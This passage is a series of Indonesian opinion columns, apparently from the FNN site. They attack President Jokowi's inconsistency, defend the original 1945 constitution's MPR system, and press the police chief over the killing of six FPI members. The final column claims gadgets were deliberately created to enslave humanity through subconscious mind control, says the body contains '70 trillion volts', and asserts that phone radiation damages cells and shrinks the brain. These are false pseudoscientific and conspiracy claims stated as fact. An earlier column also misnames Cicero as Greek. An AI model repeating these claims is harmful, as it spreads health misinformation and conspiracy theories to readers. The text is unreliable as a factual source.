zaman, tergusur oleh waktu, terkubur oleh sifat rakus, tamak dan sombong. Apakah BUMN asuransi kita benar-benar akan roboh? Semua berpulang pada kesadaran rakyat Indonesia dalam memilih pemiimpinnya. Wallahu ‘alam!

Soal Inkonsistensi Jokowi Juaranya

ALIANSI Mahasiswa Universitas Gajah Mada (UGM) baru saja memberikan penghargaan penting untuk Presiden Joko Widodo. Namanya, "Juara Umum Lomba Ketidaksesuaian Omongan dengan Kenyataan." Presiden Jokowi baru saja dinobatkan sebagai figur yang inkosisten. Karena itu dalam bahasa lain, dia baru saja mendapatkan : Inkonsistensi Award! Orang Jawa menyebut figur semacam ini dengan sebuah idiom “Isuk dele, sore tempe.” Berubah-ubah dengan sangat cepat. Tidak konsisten. Pagi bicara A. Sore harinya tiba-tiba berubah B. Figur yang tidak bisa dipegang kata-katanya. Masalahnya menjadi jauh lebih serius karena Jokowi adalah seorang presiden. Seorang Kepala Negara. Seorang figur yang kata-katanya harus dipercaya oleh seluruh bangsa Indonesia. Orang yang punya otoritas besar, karena ucapannya bisa menjadi hukum. Sangat berbahaya bila ada seorang presiden, seorang Kepala Negara ucapannya tidak bisa dipegang. Tidak satu kata dengan perbuatan. Dalam agama Islam, figur semacam ini masuk kategori munafik. Yakni seseorang yang bila berkata, berdusta. Bila berjanji, tak pernah ditepati. Bila diberi amanah, dia berkhianat! Sebuah judgement, penilaian yang sangat berat. Tentu kita seharusnya tidak boleh memberi penilaian yang sangat berat semacam itu terhadap seorang presiden. Seorang munafik biasa saja sudah berbahaya. Apalagi seorang munafik menjadi pemimpin sebuah bangsa. Bakal cilakalah bangsa tersebut. Oleh karena itu, penghargaan yang diberikan oleh Aliansi Mahasiswa UGM ini tidak boleh dianggap main-main. Tidak boleh dianggap sekadar lucu-lucuan. Penghargaan itu sangat serius. Pertama, penghargaan itu diberikan oleh mahasiswa dari kampus yang menjadi almamater Presiden Jokowi. Harusnya UGM bangga karena seorang alumni menjadi presiden. Tapi alih-alih bangga. Penghargaan itu menunjukkan betapa mereka sangat kecewa dengan seorang seniornya yang kini menjadi presiden. Kedua, yang memberikan penghargaan adalah aliansi mahasiswa. Sebuah entitas sepanjang sejarah bangsa ini selalu menjadi motor perubahan. Secara tidak langsung melalui penghargaan ini mereka menyampaikan mosi tidak percaya kepada Jokowi. Orang yang tidak satu kata dengan perbuatan, adalah orang yang tidak bisa dipercaya. Jokowi dinobatkan sebagai juara lombanya. Padahal, dalam sebuah negara demokrasi, basis legitimasi seorang penguasa, adalah kepercayaan publik. Kepercayaan yang mereka titipkan dalam siklus lima tahunan yang digelar melalui Pemilihan Umum. Ketiga, Jokowi dinobatkan sebagai juara lomba. Artinya ada semacam penilaian, di kalangan para pejabat negara sedang terjadi lomba inkonsistensi. Dengan penghargaan itu, Aliansi Mahasiswa UGM secara tidak langsung menyatakan bahwa pemerintahan di bawah kendali Jokowi tidak bisa dipercaya. Para pejabatnya bukan hanya tidak inkonsisten. Tapi justu saling berlomba menjadi juara dalam inkonsistensi. Cilakanya, juaranya adalah Jokowi. Seorang presiden, seorang Kepala Negara yang harusnya menjadi contoh bagi semua para pejabat di bawahnya. Juga menjadi contoh bagi seluruh rakyat Indonesia. Dalam situasi semacam ini kita menjadi teringat ujaran dari filsuf Yunani Marcus Tullius Cicero. Ikan membusuk mulai dari kepalanya. Ketika seorang Kepala Negara berperilaku busuk, maka kebusukan sebuah bangsa tinggal menunggu waktu. Kita tentu tidak mau hal itu terjadi. Penghargaan dari Aliansi Mahasiswa UGM itu hendaknya menjadi semacam peringatan. Peringatan bahwa anak-anak muda dari kampus almamater Pak Jokowi ini sangat mencintai bangsanya. Mereka pasti juga sangat mencintai almamaternya. Tidak mau nama baiknya tercoreng. Mereka pasti bangga dengan seorang seniornya yang sangat sukses di dunia politik, menjadi Presiden Indonesia. Presiden Jokowi dan jajaran pemerintah harus menganggap penghargaan ini sebagai alarm keras yang membangunkan mereka. Sudah terlalu banyak inkosistensi yang ditunjukkan oleh Presiden Jokowi. Terlalu panjang bila harus dijabarkan kembali satu persatu. Publik sudah sangat hafal dengan perilaku tersebut. Oleh karena itu, tidak perlu heran ketika presiden minta agar masyarakat mengkritik pemerintah, banyak orang yang tertawa-tawa geli. Tak percaya. Publik makin tertawa lebar ketika Mensekab Pramono Anung meminta pers mengkritik pemerintah sekeras-kerasnya. Kritik yang sangat pedas kepada pemerintah. Publik telanjur tidak percaya. Kebetulan pada saat bersamaan, penyidik senior KPK Novel Baswedan menyentil perlakuan polisi terhadap usataz Maher. Dia tewas di tahanan. Novel langsung dilaporkan ke polisi. Pelapornya hampir dapat dipastikan adalah ormas pendukung rezim pemerintah. Inkonsistensi yang berimbas pada meluasnya ketidakpercayaan publik, menjadi pekerjaan rumah yang sangat serius bagi pemerintah. Dalam situasi semacam ini perlu diingat kembali pepatah lama “Sekali lancung ke ujian, seumur hidup orang tak dipercaya.” **

Menepis Amien Rais Soal Presiden Memegang Kekuasaan Membentuk UU (Bagian-6)

by Mayjen TNI (Purn.) Prijanto Jakarta FNN - Strategic Assessment : Mr. Soepomo, “caranya mengangkat pemimpin negara itu hendaknya janganlah dituruti cara pilihan menurut sistem demokrasi barat, oleh karena pilihan secara sistem demokrasi barat itu berdasar atas faham perseorangan. Tuan-tuan sekalian hendaknya insaf kepada konsekuensi dari pendirian menolak dasar perorangan itu. Menolak dasar individualisme berarti menolak juga sistem perlementarisme, menolak sistem demokrasi Barat, menolak sistem yang menyamakan manusia satu sama lain seperti angka-angka belaka. Angka yang semuanya sama harganya”. (Sidang BPUPKI, 31 Mei 1945) Ir. Soekarno, “Kalau kita mencari demokrasi, hendaknya bukan demokrasi barat, tetapi permusyawaratan yang memberi hidup, yakni politiek economische democratie yang mampu mendatangkan kesejahteraan sosial!” (Sidang BPUPKI, 1 Juni 1945) Pembatasan, ”Untuk membedakan dan mempermudah, hasil amandemen UUD 1945 dalam artikel ini kita sebut UUD 2002”. Ilustrasi Sebuah Adat Adat di Jawa ada yang disebut “lamaran”. Keluarga laki-laki datang kepada keluarga perempuan, melamar untuk mempersunting putri dari keluarga tersebut. Keluarga laki-laki datang sambil membawa hadiah sebagai tanda pengikat, yang prosesnya dinamai serah-serahan. Kadang kala, keluarga perempuan juga memberi sesuatu saat keluarga laki-laki pulang. Amien Syamsudin sahabat saya tinggal di Semarang, ngerti adat Jawa itu. Ketika Amien di Sumbar, daerah Padang, Padang Pariaman, dan Pesisir Selatan, melihat acara “manjapuik” seperti lamaran di Jawa. Melihat keluarga perempuan mendatangi keluarga laki-laki dengan membawa sesuatu sebagai tanda jadi. Amien berkomentar, “lho, mana boleh perempuan kok melamar laki-laki”. Betulkah komentar tersebut? Jelas keliru besar. Sebab yang dilihat dan dikomentari Amien itu adat di Padang, namun komentarnya menggunakan perspektif adat Jawa, yang ada di benaknya. Ilustrasi di atas, kita gunakan untuk membahas komentar Amien Rais terhadap Pasal 5 ayat (1) UUD 1945 dalam buku Valina Singka Subekti, 2007, Menyusun Konstitusi Transisi. Pasal 5 & Pasal 20 UUD 1945 dan Pasal 5 & Pasal 20 UUD 2002. Pasal 5 ayat (1) UUD 1945, “Presiden memegang kekuasaan membentuk undang-undang dengan persetujuan DPR”. Sedangkan Pasal 20 UUD 1945 ayat (1) “Tiap-tiap undang-undang menghendaki persetujuan DPR”. Atas pasal tersebut, Amien Rais berkomentar, “Undang-undang dibuat oleh eksekutif, sedangkan legislatif hanya menyetujui. Ini ironis karena DPR tidak membuat legislasi, namun pemerintah yang membuat legislasi”. Komentar itu bisa dipahami, karena di awal reformasi kaum reformis menilai sistem pemerintahan Indonesia tidak demokratis, sehingga UUD 1945 perlu diamandemen. Tuduhan tidak demokratis ini juga datang dari negara asing, yang akhirnya ikut campur dalam amandemen UUD 1945. Baca : (https://rmol.id/read/2020/09/21/453155/menepis-pendapat-amien-rais-1-intervensi-asing-dan-implikasi-kembali-ke-uud-1945) . (google) Kesepakatan dalam amandemen dikala itu, Indonesia memilih sistem pemerintahan Presidensial, seperti di Amerika Serikat, Philipina dan negara-negara di Amerika Latin, yang dilandasi demokrasi Barat. Sistem ini menganut Presiden dipilih rakyat. Kedaulatan negara dipisahkan menjadi tiga cabang kekuasaan, yakni legislatif, eksekutif dan yudikatif. Karena itulah pasal di atas diamandemen. Pasal 5 ayat (1) UUD 2002, “Presiden berhak mengajukan rancangan undang-undang kepada DPR”. Sedangkan Pasal 20 ayat (1) UUD 2002, “DPR memegang kekuasaan membentuk undang-undang”. Pertanyaan kritis yang menyebabkan diamandemennya UUD 1945 adalah benarkah tuduhan bahwa Indonesia bukan negara yang demokratis? Tuduhan sekelompok orang dalam negeri dan asing tersebut jelas keliru besar. Sebab Pasal 1 ayat (2) UD 1945, “Kedaulatan adalah di tangan rakyat, dan dilakukan sepenuhnya oleh Majelis Permusyawaratan Rakyat (MPR)”. Kedaulatan di tangan rakyat, adalah ciri negara demokratis. Sedang musyawarah dan keterwakilan itu merupakan cara saja. Toh, Pasal 2 ayat (2) UUD 1945 mengatur bahwa segala putusan MPR ditetapkan dengan suara yang terbanyak. Pasal ini juga menguatkan Indonesia sebagai negara demokratis. Pilihan cara ini memang berbeda dengan demokrasi Barat. Demokrasi individual “one man one vote” yang dihindari “founding fathers” ketika akan mendirikan Indonesia Merdeka. Pilihan jatuh pada musyawarah mufakat dan keterwakilan yang bersumber dari budaya bangsa Indonesia sendiri. Sebab konstitusi harus disusun berdasar atas budaya dan sejarah bangsa. Demokrasi musyawarah mufakat dan perwakilan itu indah. Prof. Dr. Aidul Fitriciada Azhari, Ketua Komisi Yudisial 2016-2018, dalam bukunya, “Rekonstruksi Tradisi Bernegara Dalam UUD 1945” menulis hasil penelitiannya tentang prinsip permusyawaratan perwakilan yang termaktub dalam Pancasila dan pembukaan UUD 1945. Prinsip permusyawaratan perwakilan bersumber dari tradisi demokrasi yang dilaksanakan di daerah-daerah otonom yang disebut ‘desa’ di Jawa, ‘nagari’ di Minangkabau, dan ‘wanua’ di Bugis atau ‘bori’ di Makasar. Artinya, memang benar nilai-nilai Pancasila digali dari bumi Indonesia. Bukan dari Eropa, Amerika atau negeri manapun. Disamping penelitian, kita juga tahu bahwa masyarakat Melayu Islam sebelum dijajah Belanda, berlaku hukum dan musyawarah adat yang berjenjang. Penyalurkan aspirasi rakyat, penduduk di lapisan paling bawah mengangkat Kepala Kampung. Para Kepala Kampung bermusyawarah mengangkat para Tungkat, dan para Tungkat memilih dan atau menjatuhkan Datuk /Kepala Luhak. Datuk/Kepala Luhak beserta ‘Orang-Orang Besar’ yang terpilih, yang memilih dan menggantikan Raja, dan merekalah “Kawan Raja Bermusyawarah”, dan keputusan Kerapatan atau musyawarah ‘Orang-Orang Besar’ itulah yang disebut Amar/Titah dari Raja. Inilah budaya musyawarah dan demokrasi dengan perwakilan bertingkat asli Indonesia. Sistem ketatanegaraan kita, yang disusun “founding fathers” memiliki Lembaga Tertinggi Negara, tempat musyawarah bernama MPR. Negara ditata dengan landasan budaya bangsa sendiri. Budaya yang didasari nilai-nilai agama, khususnya agama Islam, sebagaimana Muh. Yamin mengutip surat Asy Syura ayat 38 untuk hidup musyawarah (BPUPKI, 29 Mei 1945). Semua itu dipadukan dengan teori Barat. Apakah kita berani menuduh “founding fathers” tidak paham ajaran Montesquieu tentang Trias Politika sedemikian, sehingga di dalam undang-undang dasar memberikan Presiden memegang kekuasaan membentuk undang-undang? Penulis pikir tidaklah pas. Jangan dikira “founding fathers” tidak ngerti yang disebut Trias Politika, demokrasi Barat, Parlementer, Presidensial dan ilmu-ilmu barat lainnya. Kapasitas bapak pendiri bangsa bisa kita baca saat persidangan di BPUPKI dan PPKI. Strategic assessment di atas merupakan cuplikan saat sidang mencari dasar negara, bukti betapa berilmunya beliau-beliau itu. Seperti Mr. Soepomo, beliau Ketua Panitia Kecil pembuat Rancangan Undang-Undang Dasar. Soepomo dari keluarga ningrat, kuliah di Fakultas Hukum Universitas Leiden, meraih gelar Meester in de rechtern dengan predikat summa cum laude. Walau ningrat, tidak sombong, tidak punya jiwa feodal, pandai dan tidak sok ke-barat-baratan. Baca: : (http://rmol.id/read/2020/03/04/423954/menelusuri-jejak-penjelasan-uud-1945-dan-siapakah-mr-soepomo-itu). (google). Sistem Pemerintahan Sendiri Sistem Pemerintahan Sendiri juga sering disebut Sistem Pemerintahan MPR. Penulis sendiri lebih suka jika menyebutnya Sistem Pemerintahan Pancasila. Sistem ini memang berbeda dengan Sistem Parlementer, Sistem Presidensial ataupun kombinasi antara sistem Parlementer dengan Presidensial. Dalam pergulatan perdebatan saat sidang di BPUPKI, penulis yakin tentu sudah ada dialog, “Bukankah Presiden itu eksekutif? Mengapa diberi kekuasaan membentuk undang-undang? Bukankah undang-undang itu urusan legislatif?” Apakah dialog ini sudah terjawab? Penulis yakin sudah dijelaskan argumentasinya. Artinya, bukanlah kealpaan atau ketidaktahuan, tetapi memang kesengajaan. Karena Presiden dipilih MPR, tempat para wakil rakyat bermusyawarah, maka Presiden terpilih disebut sebagai ‘Mandataris MPR’. Presiden menerima mandat dari seluruh rakyat yang terwakili oleh anggota DPR, Utusan Golongan dan Utusan Daerah yang ada di MPR. Karena mandat dari seluruh rakyat itulah, maka Presiden diberikan kewenangan kekuasaan membentuk undang-undang, agar dapat mencapai apa yang diamanatkan dalam Garis-Garis Besar Haluan Negara (GBHN). Penulis berpendapat, hal ini logis, siapapun mendapat tugas dan tanggung jawab, harus diberikan pula kewenangan. Sepintas kritik terhadap Pasal 5 ayat (1) UUD 1945 menjelang amandemen benar. Benar karena pengkritik melihat dari sistem Presidensial. Tetapi menjadi tidak benar jika dilihat dari perspektif “Sistem Pemerintahan Sendiri atau Sistem Pemerintahan Pancasila”, sebagai pilihan “founding fathers”. Sistem Pemerintahan Pancasila ini sangat komprehensif. Untuk membatasi dan mengawal kekuasaan Presiden agar tidak kebablasan, pembentukan undang-undang harus persetujuan DPR. Disamping itu ada Lembaga Negara Dewan Pertimbangan Agung (DPA), yang wajib memberikan pertimbangan, jawaban dan usul kepada Presiden, diminta ataupun tidak. Lembaga ini sebagai Badan Penasehat. Betapa cantiknya sistem yang dilandasi Pancasila ini. Seluruh rakyat, melalui wakilnya di MPR memberi mandat kepada Presiden untuk melaksanakan GBHN. Setiap tahun Presiden menyampaikan laporan apa yang sudah dan yang akan dilakukan. Di akhir jabatan, dihadapan pemberi mandat, Presiden menyampaikan pertanggungjawaban. Berbeda dengan demokrasi Barat, yang kita tiru pasca amandemen UUD 1945. Presiden dipilih rakyat langsung, melaksanakan visi misinya sendiri. Akhir jabatan tidak ada pertanggungjawaban, pergi dengan lenggang kangkung. Inilah keburukan model Sistem Presidensial, pertanggungjawabannya tidak jelas. Karena itu Undang-Undang Dasar yang dirumuskan “founding fathers” tidak menggunakan model tersebut. Muh. Yamin, Ki Bagoes Hadikoesoemo, Soepomo dan Bung Karno ketika pidato mencari dasar negara untuk Indonesia Merdeka dalam Sidang BPUPKI, jelas menolak demokrasi Barat. Dengan demikian, tidaklah pas jika kita menilai atau mengkritik Sistem Pemerintahan MPR dengan perspektif Sistem Pemerintahan Presidensial. Ibaratnya, bagaimana mungkin kita membandingkan atau menilai adat Padang dengan adat Jawa? Seperti ilustrasi di atas, karena keduanya memang berbeda. Penulis yakin, Sistem Pemerintahan dalam UUD 1945, khususnya Pasal 5 ayat (1) bukanlah kesalahan. Bukan pula karena ketidaktahuan atas sistem-sistem pemerintahan lainya. “Founding fathers” memang sengaja membuat Sistem Pemerintahan Sendiri yang didasarkan pada nilai-nilai Pancasila. Seharusnya kita bangga dengan Sistem Pemerintahan Pancasila ini. Selama kita meyakininya, melaksanakan secara murni dan konsekuen, sistem ini bisa kita duniakan, sejajar dengan Sistem Parlementer dan Presidensial. Semoga bisa dipahami, Insya Allah. Aamiin. Penulis adalah Aster KASAD 2006-2007 & Rumah Kebangkitan Indonesia.

Managih Janji Presiden & Kapolri Soal Pembunuhan Enam Anggota FPI

by M. Rizal Fadillah Bandung FNN - Kapolri Jenderal Polisi Listyo Sigit Prabowo, saat menjalani fit and proper test di depan anggota dan pimpinan Komisi III DPR, menjanjikan untuk menuntaskan kasus pelanggaran Hak Asasi Manusia (HAM) akibat pembunuhan enam anggota laskar Front Pembela Islam (FPI) di kilometer 50 tol Jakarta-Cikampek (Japek). Pembunuhan yang dilakukan oleh anggota polisi dari Polda Metero Jaya. Kapolri berjanji untuk merealisasikan empat rekomendasi berdasarkan hasil penyelidikan yang dilakukan oleh Komisi Nasional (Komnas) HAM. Sayangnya ,sejak dilantik sebagai Kapolri pada 27 Januari 2021 lalu, Listyo Sigit hingga kini belum ada kebijakan konkrit sebagai tindak lanjut apa-apa. Mayarakat negeri ini dan DPR hanya diberikan janji-janji kosong oleh Listyo Sigit. Meski tingkat kepercayaan masyarakat terhadap hasil penyelidikan Komnas HAM yang terbilang rendah dengan hasil rekomendasinya. Tetapi apa yang telah didapat Komnas HAM dengan hasil yang minim tersebut, seharusnya ditindaklanjuti adalah penegakan hukum. Membawa aparat yang menjadi pelaku pembunuhan ke proses peradilan yang terbuka dan transparan. Disamping janji Listyo Sigit Prabowo, juga Presiden Jokowi juga telah berjanji pula untuk menjalankan rekomendasi Komnas HAM. Sayangnya, sejak Presiden menerima laporan penyelidikan dari Komnas HAM, sampai sekarang tidak ada kelanjutan. Karenanya bola janji membawa pelaku pembunuhan terhadap enam anggota laskar FPI ada di tangan Presiden dan Kapolri. Sebenarnya Kapolri sebelumnya Jenderal Polisi Idham Azis sudah membentuk tim khusus pengusutan. Tim tersebut untuk menindaklanjuti rekomendasi hasil penyelidikan Komnas HAM. Artinya, Kapolri baru Jendral Polisi Listyo Sigit tinggal dan menyempurnakan saja tim yang sudah dibentuk oleh Jendral Polisi Idham Azis. Tinggal melanjutkan saja yang sudah ada. Tetapi ternyata hingga kini masih tidak jelas pula agenda kelanjutan penyidikan perkara di kilometer 50 tol Japek tersebut. Keseriusan Kapolri Jendral Listyo Sigit untuk membawa pelakukan pembunhan ke pengadilan mulai dipertanyakan. Luar biasa bertele-telenya penanganan kasus ini. Sudah hampir tiga bulan peristiwa terjadi, namun masih miskin langkah nyata. Belum memulai untuk merealisakan janji soal pembunuhan enam anggota Laskar FPI, kini sudah muncul lagi kasus baru. Misalnya, meninggalnya Ustad Maheer At Thuwailibi di Rumah Tahanan (Rutan) Badan Reserse Kriminal (Bareskrim) Mabes Polri yang juga menuai kecurigaan masyarakat luas. Sehingga Komnas HAM juga berniat untuk melakukan penyelidikikan terkait kematian ustadz Maheer. Tampknya semakin menumpuk saja persoalan yang bekaitan penegakan hukum dan pelanggaran HAM yang tidak terselesaikan. Satu masalah belum selesai, sudah muncul masalah baru lagi. Ini akibat dari cara-cara kerja polisi yang terlihat tidak profesinal dan amatiran. Semakin menjauh dari profil polisi Indonesia yang prefesional, moder dan terpercaya (Promoter). Jika-janji Kapolri hanya tinggal janji. Tidak ada langkah-langkah nyata di lapangan. Maka wajar saja, jika pada akhirnya publik akan bertanya, sebagai Kabareskrim saat itu, Listyo bersama Kapolda Metro Fadil Imran apakah terlibat? Ketika itu ada tuntutan agar Fadil Imran dinon-aktifkan atau diberhentikan dulu sebagai Kapolda, bagaimana dengan tuntutan kepada Listyo Sigit? Presiden sebagai figur yang sering berjanji, tetapi tidak terbukti janjinya. Kini oleh para mahasiswa dari Universitas Gajah Mada (UGM) Yogyakarta telah dinobatkan sebagai "Juara Lomba" inkonsistensi. Janji dan realisasi yang tidak bersesuaian. Nah kasus pembunuhan terhadap enam anggota laskar FPI ini sebagai bola janji inkosistensi yang ada pada Presiden dan Kapolri. Pertanyaanya, akankah Pak Kapolri Jendral Polisi Listyo Sigit bakal menjadi juara janji yang inkonsistensi juga? Atau sekurang-kurangnya bakal menjadi runner up lomba jani dengan hasil inkonsistensi? Semoga saja tidak terjadi, sehingga kekecewaan publik terhadap kinerja polisi yang “PRESISI” tidak semakin bertambah ambruk, seperti yang sudah terjadi pada “PROMOTER” Ayo Pak Kapolri segera bergerak. Jangan ragu untuk mengumumkan dan menyeret anak buah anda ke meja hijau demi nama baik jajaran Kepolisian, Semoga nantinya Kepolisian sebagai anak kandung reformasi tidak mendapat predikat sebagai "Juara Lomba Pelanggaran HAM". Polisi harus tetap dipertahankan sebagai produk reformasi yang telah berhasil dipisahkan dati tentara. Ingat itu baik-baik pesan paling mulia dan berharga dari kode etik kepolisian, “bawahan boleh menolak perintah atasan yang bertentangan dengan hukum. Institusi polisi tidak boleh melindungi oknum yang melanggar hukum. Sebaliknya, oknum yang melanggar hukum, jangan mengorbankan institusi polisi dengan cara berlindung dibalik institusi”. Kasian institusi polisi. Ingat lagi baik-baik dengan sumpah ketika pertama kali menjadi anggota polisi, yaitu “rela berkoban dan mati untuk negara dan institusi polisi”. Ayo lakukan sumpah itu dalam kaitan dengan pembunuhan enam anggota laskar FPI di kilometer 50 tol Japek. Tujuannya untuk menjaga marwah dan martabat polisi, agar tetap dihargai masyarakat sebagai penegak hukum yang berwibawa ke depan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Gadget Merusak Sel Tubuh Manusia

by Komjen Pol. Dharma Pongrekun MM. MH. Jakarta FNN - Gadget adalah teknologi yang memang dengan sengaja diciptakan oleh penggagasnya untuk mempermudah pengendalian manusia di seluruh belahan dunia. Pengendalian dilakukan melalui program alam bawah sadar, agar dengan sangat mudah dapat memanipulasi jiwa (pikiran, perasaan dan kehendak) manusia tanpa disadari. Diawali dengan membangun paradigma seolah-olah Gadget itu hanyalah sekedar kemajuan jaman. Kemajuan kecanggihan teknologinya yang memberikan berbagai macam kemudahan, kecepatan dan tentunya kenyamanan yang memanjakan. Sehingga kita terbuai, karena keasyikan dan akhirnya kecanduan yang membuat kita semua terjerat dalam jebakan sistem global. Sistem global adalah sistem yang terbangun dengan sendirinya sebagai hasil dari pada rekayasa yang sitematis. Gadget memang telah disiapkan menjadi teknologi yang merangkai seluruh sistem dari setiap kegiatan secara rekayasa dalam seluruh aspek kehidupan yang ada ke dalam satu sistem yang terkendalikan secara Global. Hal tersebut telah membuat kita tidak dapat lagi melihat dan merasakan adanya agenda tersembunyi atau motivasi jahat dibalik semua itu. Bahwa tujuan akhir dari agendanya sistem global adalah untuk memperbudak semua manusia di dunia seperti yang kita telah rasakan dampaknya saat ini. Mengapa demikian? Karena melalui Gadget itu, mereka telah berhasil menyatukan sistem kendali seluruh dunia melalui rekayasa kehidupan (life engineering) yang begitu cerdas. Rekayasa kehidupan melalui program alam bawah sadar (subconcious mind). Caranya dengan cara merasionalisasi aktifitas kehidupan dari sesuatu yang tidak nyata (dunia maya) menjadi realita pada aktifitas kehidupan dunia nyata masing-masing pemegang Gadget tersebut. Namun bila googling kita tidak akan pernah menemukan istilah life engineering. Tetapi hanya social engineering, dengan maksud agar masing-masing kita tidak menyadari, bahwa pribadi demi pribadi kita yang memiliki keunikan masing-masinglah. Sedangkan yang direkayasa (engineering) menjadi budak sistem global. Di dalam memahami kehidupan manusia, terlebih dahulu kita harus memahami tiga unsur utama manusia, yaitu tubuh, jiwa dan roh. Tubuh adalah ruang kosong yang hidup, karena diisi oleh roh yang berasal dari Roh Tuhan. Setelah tubuh itu hidup, maka terbentuklah jiwa yang akan diwarnai oleh berbagai keadaan yang dilalui selama masih hidup. Baik buruknya kejiwaan manusia sangat tergantung pada kekuatan potensi sel yang akan mendukung kekuatan dalam pengendalian pikiran (mind control). Perlu juga diketahui bahwa tubuh manusia dikendalikan oleh dua bagian utama, yaitu otak dan sel. Otak mempunyai kekuatan 5% dan sel mempunyai kekuatan 95% dalam mengendalikan tubuh. Tubuh manusia terdiri dari 50 triliun sel dan setiap selnya mengandung 1,4 volt listrik. Jadi, ada 70 triliun volt listrik di dalam tubuh manusia yang diaktifkan melalui gelombang (frekwensi). Sekarang mari kita pahami bagaimana cara merekayasa mind-set melalui alam bawah sadar. Yakni dengan merasionalisasi paradigma melalui opini-opini yang ingin dibangun secara visual melalui aplikasi-aplikasi yang menarik dan berbagai kontennya. Semua sudah diprogram untuk dapat memanipulasi pikiran dan perasaan dalam jiwa manusia dengan cara memprogram alam bawah sadar secara berulang-ulang (repetition) dengan metode komunikasi satu arah. Targetnya hanya program opini terselubung itulah yang menguasai alam bawah sadar manusia, seperti pepatah yang mengatakan bagaikan “batu ditetesi air terus-menerus, akhirnya akan bolong juga”. Konten dan program tersebut akan terekam oleh sel-sel tubuh yang akan mengolah dan menyajikan informasi dan data yang membentuk imajinasi dalam pikiran dan perasaan yang ada dalam jiwa manusia. Sehingga seolah-olah sedang menjalani kehidupan di dunia nyata. Padahal hanya di dunia maya, namun akan berimplikasi pada prilaku dalam kehidupan nyata. Selanjutnya, pikiran dan perasaan yang terbentuk secara gradual melalui program alam bawah sadar tersebut, akan terefleksi pada perubahan karakter dan perubahan perilaku manusia. Prilaku dalam kehidupan nyata dari kehidupan yang fitrah (original) diselewengkan (refocusing) untuk menjauhkan manusia dari citra Tuhan, sehingga tidak menyadari lagi fitrahnya sebagai hamba Tuhan. Jadi, sel-sel dalam tubuh manusia itulah yang diserang oleh gelombang elektromagnetik yang ada (radiasi). Sehingga memudahkan pengendalian alam bawah sadar dan menguasainya untuk merubah persepsi. Persepsi tersebut otomatis akan merubah fungsi sel dalam tubuh, bahkan juga menjadi rusak. Itulah sebabnya Gadget disebut cellularphone, karena mekanisme kerjanya meniru mekanisme kerja sel tubuh manusia dalam berinteraksi dengan sel manusia lainnya, alam semesta dan dengan Tuhan sebagai sumber kehidupan yang sejati. Jadi sel adalah inti dari kehidupan manusia hidup. Apabila sel mengalami kerusakan, juga akan melemahkan potensi sel, dan otomatis menurunkan imunitas di dalam tubuh manusia. Tubuh manusia hanyalah merefleksikan apa yang dipancarkan dari sel-sel yang rusak. Keadaan inilah yang kita kenal dengan istilah penyakit. Perlu diketahui juga bahwa selain dari perangkatnya sendiri, konten-kontennyapun seperti pornografi dan game online dapat menyebabkan kecanduan yang lebih buruk. Bahkan lebih buruk dari pada narkoba yang hanya merusak tiga bagian otak. Sementara gelombang elektromagnetik yang dipancarkan terus-menerus dari Gadget yang aktif akan merangsang sel-sel pada otak mengeluarkan hormon dopamine secara berlebihan dan tidak wajar. Keluarnya hormon dopamine yang berlebihan dapat mengakibatkan kerusakan pada lima bagian otak. Otak bagian depan atau Pre Frontal Cortex (PFC), sehingga PFC akan mengkerut dan mengecil hingga +- 4%. PFC inilah yang membedakan manusia dengan binatang. Akibatnya orang tersebut akan kehilangan kemampuan pengendalian emosi, membedakan benar dan salah, serta berperilaku layaknya binatang. Itu terjadi sebagai akibat dari pada kecanduan. Contohnya, apabila seorang anak yang sedang bermain game, bila diambil Gadgetnya, maka si anak akan mengamuk dan marah-marah tak terkendali. Karena telah mengalami gangguan perkembangan otak serta masalah kesehatan mental yang merubah prilaku. Mereka akan menjadi agresif dan mudah tersinggung disebabkan hormon dopaminnya mendadak berhenti terproduksi. Ini akibat rangsangan sel dari gelombang elektromagnetikpun berhenti atau dalam narkoba dikenal dengan istilah sakau (tubuh nagih). Contoh lain dari dampak bekerja sel, semisal saat seorang pria melihat wanita, maka mata pria tersebut akan menangkap gelombang yang dipancarkan dari tubuh wanita. Gelombang itu kemudian diterima (receiver) oleh sel-sel dalam tubuh pria tersebut untuk diolah dan memproduksi hormon sesuai dengan infromasi yang direkam. Hormon selanjutnya disajikan (transmit) menjadi imajinasi yang menimbulkan hasrat yang mendorong pria tersebut menginginkan wanita tersebut. Inilah makna dari pepatah lama ketika seseorang jatuh cinta kemudian kasmaran “dari mata turun ke hati”. Tujuan dari rekayasa sitem global tersebut tidak lain dan tidak bukan adalah untuk memonetize (memetik keuntungan finansial-red). Keuntungan dari setiap kebutuhan jasmani manusia yang telah terprogram melalui pikiran dan perasaan yang ada dalam jiwa yang terbentuk dari hasil program agenda rekayasa kehidupan melalui dunia maya menjadi kebutuhan jasmani dalam dunia nyata. Terutama, kebutuhan jasmani yang termotivasi dari keinginan untuk mempertahankan dan melindungi diri serta menjaga eksistensi hawa nafsunya dalam euforia kehidupan di dunia. Untuk memenuhi kebutuhan jasmani tersebut, maka manusia akan digiring untuk membeli produk-produk dari hasil industrialisasi yang dipikir dan dirasakan perlu. Sebagai akibat dari program rekayasa kehidupan yang telah menjadi paradigma barunya (new paradigm). Yang sudah barang tentu harus mengeluarkan sejumlah angka-angka yang tertera dalam lembaran-lembaran kertas yang nantinya akan didigitalisasi juga oleh sistem global. Ketahuilah bahwa dibalik Gadget yang melekat pada diri kita sehari-hari ada sutradaranya. Sehingga, Gadget tersebut bukan saja merupakan teknologi yang dapat dan telah mencuri seluruh data dan informasi dari masing-masing pribadi kita. Tetapi juga sedang mencatat setiap aktivitas kehidupan yang kita kerjakan ataupun lakukan melalui aplikasi. Aplikasi yang merepresentasikan aktivitas kehidupan yang dikendalikan oleh source code dari setiap aplikasi yang ada di dalamnya. Setiap aktivitas kehidupan, baik atau buruk yang terjaring lewat internet, yang telah mereka siapkan. Semuanya akan tersimpan secara otomatis pada sistem database. Sehingga kebebasan hidup sebagai manusia merdeka secara otomatis sudah tersandera. Mekanisme tersebut persis dengan mekanisme sel-sel dalam tubuh manusia yang merekam catatan dosa dan menyajikannya kepada Tuhan sebagai Sang Pencipta secara real-time, yang dihubungkan juga oleh gelombang frekwensi. Jadi, semakin jelaslah bahwa Gadget selain merupakan teknologi yang disiapkan untuk memata-matai aktivitas kehidupan manusia. Gedget juga merupakan teknologi yang ingin mengambil alih kendali (kontrol) jiwa manusia dari otoritas kendali Tuhan, yakni sebagai hamba Tuhan untuk diselewengkan (refocusing) menjadi hamba sistem dunia bagaikan robot (benda hidup tertapi tidak punya jiwa). Dengan kata lain, Gadget telah menjadikan manusia budak hawa nafsu duniawi. Penulis adalah 